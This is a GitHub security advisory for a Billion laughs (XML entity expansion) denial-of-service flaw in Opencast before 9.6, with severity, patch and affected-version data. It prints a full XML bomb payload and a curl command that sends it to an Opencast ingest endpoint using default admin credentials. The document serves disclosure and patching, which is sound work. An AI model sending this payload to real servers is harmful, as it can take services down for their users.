GHSA-9gwx-9cwp-5c2m

Suggest an improvement
Source
https://github.com/advisories/GHSA-9gwx-9cwp-5c2m
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/06/GHSA-9gwx-9cwp-5c2m/GHSA-9gwx-9cwp-5c2m.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-9gwx-9cwp-5c2m
Aliases
Published
2021-06-17T20:11:35Z
Modified
2023-11-08T04:05:54.813337Z
Severity
  • 8.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H CVSS Calculator
Summary
Billion laughs attack (XML bomb)
Details

Impact

Opencast is vulnerable to the Billion laughs attack which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.

Consider an XML file (createMediaPackage.xml) like this:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE lolz [
 <!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. ">
 <!ELEMENT title (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400-a268-ee6565b0e6e7" start="2020-01-23T23:08:37Z">
  <title>&lol5;</title>
  <media/>
  <metadata/>
  <attachments/>
  <publications/>
</mediapackage>

Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:

curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \
  -F 'mediapackage=&lt;createMediaPackage.xml' \
  -F sourceFlavors="" \
  -F sourceTags="" \
  -F deleteExternal="" \
  -F tagsAndFlavor='' \
  -o out.xml

Additional notes:

  • You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.
  • Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system.
  • To exploit this, users need to have ingest privileges, limiting the group of potential attackers

Patches

The problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.

Workarounds

There is no known workaround for this issue.

References

For more information

If you have any questions or comments about this advisory:

Database specific
{
    "nvd_published_at": "2021-06-16T00:15:00Z",
    "github_reviewed_at": "2021-06-16T20:07:19Z",
    "severity": "HIGH",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-776"
    ]
}
References

Affected packages

Maven / org.opencastproject:opencast-kernel

Package

Name
org.opencastproject:opencast-kernel
View open source insights on deps.dev
Purl
pkg:maven/org.opencastproject/opencast-kernel

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
9.6

Affected versions

6.*

6.6

7.*

7.2
7.3
7.4
7.5
7.6
7.7
7.8
7.9

8.*

8.0
8.1
8.3
8.4
8.5
8.6
8.7
8.8
8.9
8.10
8.11

9.*

9.0
9.1
9.2
9.3
9.4
9.5